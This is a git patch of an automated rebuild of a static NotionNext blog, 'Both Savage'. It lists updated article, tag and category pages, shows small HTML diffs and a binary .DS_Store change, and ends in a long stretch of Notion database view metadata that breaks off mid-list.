From 1e756911283c9129fb7116e2878848ddc962c30d Mon Sep 17 00:00:00 2001 From: y Date: Fri, 6 Dec 2024 17:27:29 +0800 Subject: [PATCH] auto 2024-12-06 17:27:27 --- %23.html | 6 +- 404.html | 4 +- _next/.DS_Store | Bin 317444 -> 317444 bytes _next/data/76RZ7NVoSbfF1EgLzbeEj/%23.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/404.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/archive.json | 1 + .../article/240119-notion.json | 1 + .../article/240121-skywaking.json | 1 + .../article/240124-deploy.json | 1 + .../article/240319-xmrig.json | 1 + .../article/240320-arthas.json | 1 + .../article/240322-angry.json | 1 + .../article/240325-ollama.json | 1 + .../article/240405-LM-01.json | 1 + .../article/240405-LM.json | 1 + .../article/240405-cpu.json | 1 + .../article/240408-LM-02.json | 1 + .../article/240425-nginx.json | 1 + .../article/240429-LM-fox.json | 1 + .../article/240429-prometheus.json | 1 + .../article/240525-LM-04.json | 1 + .../article/240625-higress.json | 1 + .../article/240626-demo.json | 1 + .../article/240725-ai.json | 1 + .../article/240806-lavis.json | 1 + .../article/240810-minicpm2.6.json | 1 + .../article/241110-tos-plugin.json | 1 + .../article/241205-aria.json | 1 + .../article/241206-rdk.json | 1 + .../76RZ7NVoSbfF1EgLzbeEj/article/begin.json | 1 + .../article/example-10.json | 1 + .../article/example-2.json | 1 + .../article/example-3.json | 1 + .../article/example-4.json | 1 + .../article/example-5.json | 1 + .../article/example-6.json | 1 + .../article/example-7.json | 1 + .../article/example-8.json | 1 + .../article/example-9.json | 1 + .../article/example.json | 1 + .../76RZ7NVoSbfF1EgLzbeEj/article/guide.json | 1 + .../data/76RZ7NVoSbfF1EgLzbeEj/category.json | 1 + ...\351\207\214\351\225\277\345\276\201.json" | 1 + ...\346\203\205\351\232\217\347\254\224.json" | 1 + ...\346\234\257\345\210\206\344\272\253.json" | 1 + .../page/1.json" | 1 + .../page/2.json" | 1 + ...\350\241\214\345\220\210\344\270\200.json" | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/index.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/page/2.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/search.json | 1 + .../search/NotionNext BLOG.json | 1 + .../search/NotionNext BLOG/page/1.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/tag.json | 1 + .../76RZ7NVoSbfF1EgLzbeEj/tag/docker.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/git.json | 1 + _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/go.json | 1 + .../data/76RZ7NVoSbfF1EgLzbeEj/tag/linux.json | 1 + .../76RZ7NVoSbfF1EgLzbeEj/tag/skywalking.json | 1 + .../76RZ7NVoSbfF1EgLzbeEj/tag/spring.json | 1 + .../tag/\345\267\245\345\205\267.json" | 1 + .../tag/\345\273\272\347\253\231.json" | 1 + .../tag/\345\274\200\345\217\221.json" | 1 + ...\345\276\256\346\234\215\345\212\241.json" | 1 + .../tag/\346\212\230\350\205\276.json" | 1 + .../tag/\346\216\250\350\215\220.json" | 1 + .../tag/\346\216\250\350\215\220/page/1.json" | 1 + .../tag/\346\216\250\350\215\220/page/2.json" | 1 + .../tag/\346\226\207\345\255\227.json" | 1 + .../tag/\346\227\245\345\277\227.json" | 1 + .../tag/\350\204\232\346\234\254.json" | 1 + ...\350\207\252\345\212\250\345\214\226.json" | 1 + .../tag/\350\277\220\347\273\264.json" | 1 + .../tag/\351\235\242\350\257\225.json" | 1 + .../76RZ7NVoSbfF1EgLzbeEj/_buildManifest.js | 1 + .../76RZ7NVoSbfF1EgLzbeEj/_ssgManifest.js | 1 + archive.html | 4 +- article/240119-notion.html | 6 +- article/240121-skywaking.html | 6 +- article/240124-deploy.html | 6 +- article/240319-xmrig.html | 6 +- article/240320-arthas.html | 6 +- article/240322-angry.html | 4 +- article/240325-ollama.html | 6 +- article/240405-LM-01.html | 6 +- article/240405-LM.html | 6 +- article/240405-cpu.html | 6 +- article/240408-LM-02.html | 6 +- article/240425-nginx.html | 6 +- article/240429-LM-fox.html | 6 +- article/240429-prometheus.html | 6 +- article/240525-LM-04.html | 6 +- article/240625-higress.html | 6 +- article/240626-demo.html | 6 +- article/240725-ai.html | 6 +- article/240806-lavis.html | 6 +- article/240810-minicpm2.6.html | 6 +- article/241110-tos-plugin.html | 6 +- article/241205-aria.html | 6 +- article/241206-rdk.html | 14 ++ article/begin.html | 6 +- article/example-10.html | 6 +- article/example-2.html | 4 +- article/example-3.html | 6 +- article/example-4.html | 6 +- article/example-5.html | 6 +- article/example-6.html | 6 +- article/example-7.html | 6 +- article/example-8.html | 6 +- article/example-9.html | 6 +- article/example.html | 6 +- article/guide.html | 4 +- category.html | 4 +- ...\351\207\214\351\225\277\345\276\201.html" | 4 +- ...\346\203\205\351\232\217\347\254\224.html" | 4 +- ...\346\234\257\345\210\206\344\272\253.html" | 4 +- .../page/1.html" | 4 +- .../page/2.html" | 4 +- ...\350\241\214\345\220\210\344\270\200.html" | 4 +- index.html | 4 +- page/2.html | 4 +- search.html | 4 +- search/NotionNext BLOG.html | 4 +- search/NotionNext BLOG/page/1.html | 4 +- sitemap.xml | 141 +++++++++--------- tag.html | 6 +- tag/docker.html | 4 +- tag/git.html | 4 +- tag/go.html | 4 +- tag/linux.html | 4 +- tag/skywalking.html | 4 +- tag/spring.html | 4 +- "tag/\345\267\245\345\205\267.html" | 4 +- "tag/\345\273\272\347\253\231.html" | 4 +- "tag/\345\274\200\345\217\221.html" | 4 +- ...\345\276\256\346\234\215\345\212\241.html" | 4 +- "tag/\346\212\230\350\205\276.html" | 4 +- "tag/\346\216\250\350\215\220.html" | 4 +- "tag/\346\216\250\350\215\220/page/1.html" | 4 +- "tag/\346\216\250\350\215\220/page/2.html" | 4 +- "tag/\346\226\207\345\255\227.html" | 4 +- "tag/\346\227\245\345\277\227.html" | 4 +- "tag/\350\204\232\346\234\254.html" | 4 +- ...\350\207\252\345\212\250\345\214\226.html" | 4 +- "tag/\350\277\220\347\273\264.html" | 4 +- "tag/\351\235\242\350\257\225.html" | 4 +- 146 files changed, 331 insertions(+), 243 deletions(-) create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/%23.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/404.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/archive.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240119-notion.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240121-skywaking.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240124-deploy.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240319-xmrig.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240320-arthas.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240322-angry.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240325-ollama.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM-01.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-cpu.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240408-LM-02.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240425-nginx.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-LM-fox.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-prometheus.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240525-LM-04.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240625-higress.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240626-demo.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240725-ai.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240806-lavis.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/240810-minicpm2.6.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/241110-tos-plugin.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/241205-aria.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/241206-rdk.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/begin.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-10.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-2.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-3.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-4.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-5.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-6.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-7.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-8.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-9.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/example.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/article/guide.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/category.json create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\344\270\207\351\207\214\351\225\277\345\276\201.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\345\277\203\346\203\205\351\232\217\347\254\224.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/1.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\346\212\200\346\234\257\345\210\206\344\272\253/page/2.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\347\237\245\350\241\214\345\220\210\344\270\200.json" create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/index.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/page/2.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/search.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG/page/1.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/docker.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/git.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/go.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/linux.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/skywalking.json create mode 100644 _next/data/76RZ7NVoSbfF1EgLzbeEj/tag/spring.json create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\267\245\345\205\267.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\273\272\347\253\231.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\274\200\345\217\221.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\276\256\346\234\215\345\212\241.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\212\230\350\205\276.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/1.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/2.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\226\207\345\255\227.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\227\245\345\277\227.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\204\232\346\234\254.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\207\252\345\212\250\345\214\226.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\277\220\347\273\264.json" create mode 100644 "_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\351\235\242\350\257\225.json" create mode 100644 _next/static/76RZ7NVoSbfF1EgLzbeEj/_buildManifest.js create mode 100644 _next/static/76RZ7NVoSbfF1EgLzbeEj/_ssgManifest.js create mode 100644 article/241206-rdk.html diff --git a/%23.html b/%23.html index bc9de9f34..a9bf7f4c5 100644 --- a/%23.html +++ b/%23.html @@ -1,9 +1,9 @@ -公告 | Both Savage

公告

type
status
date
slug
summary
tags
category
icon
password
🎉talk is cheap🎉 -🎉show me the code🎉
-- 感谢您的支持 ---
👏欢迎更新体验👏
 

公告

type
status
date
slug
summary
tags
category
icon
password
🎉talk is cheap🎉 +🎉show me the code🎉
-- 感谢您的支持 ---
👏欢迎更新体验👏
 
\ No newline at end of file +
\ No newline at end of file diff --git a/404.html b/404.html index 01463eb15..24515574a 100644 --- a/404.html +++ b/404.html @@ -1,8 +1,8 @@ -Both Savage | 页面找不到啦
404 Not found.
404 Not found.
\ No newline at end of file +
\ No newline at end of file diff --git a/_next/.DS_Store b/_next/.DS_Store index 291e0d8afa1b03a5893bf260f3cff08a8dd56fcf..177dc897ceee88512cce47642d523825a0c6d742 100644 GIT binary patch delta 170 zcmZqKAl$M+xM2&UN>qHdz^Y&d1_l;}6oy2G5{AUwd>5Cboctu97{{E`r6*4`9CJjK zPr)l+kYN~{oS$0&)Wc9va$x$wC`SGEO;LqH-v7{pm3=Av`DGZ4WB@BtV`7SO=Ir&LIF^&uF;nooa#~e}R zQ}D_cWEch~=jRpx^)M7@BuqaT#i-xDDT)z@nYM3=V%}!U^mOXVd?":{"name":"Last Edited Time","type":"last_edited_time"},"CXUG":{"name":"Property","type":"text"},"GKHK":{"name":"Created Time","type":"created_time"},"OcN|":{"name":"Property","type":"text"},"ag`<":{"name":"realate","type":"text"},"ckw_":{"name":"Property","type":"last_edited_time"},"kiCR":{"name":"created_time","type":"created_time"},"uHoD":{"name":"last_edited_time","type":"last_edited_time"},"vk?@":{"name":"last_edited_time","type":"last_edited_time"}}},"role":"reader"},"05805658-775d-47b7-b5f7-3c1873696ebd":{"role":"none"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"},"6c096b44-beb9-48ee-8f92-1efdde47f3a3":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":220,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":[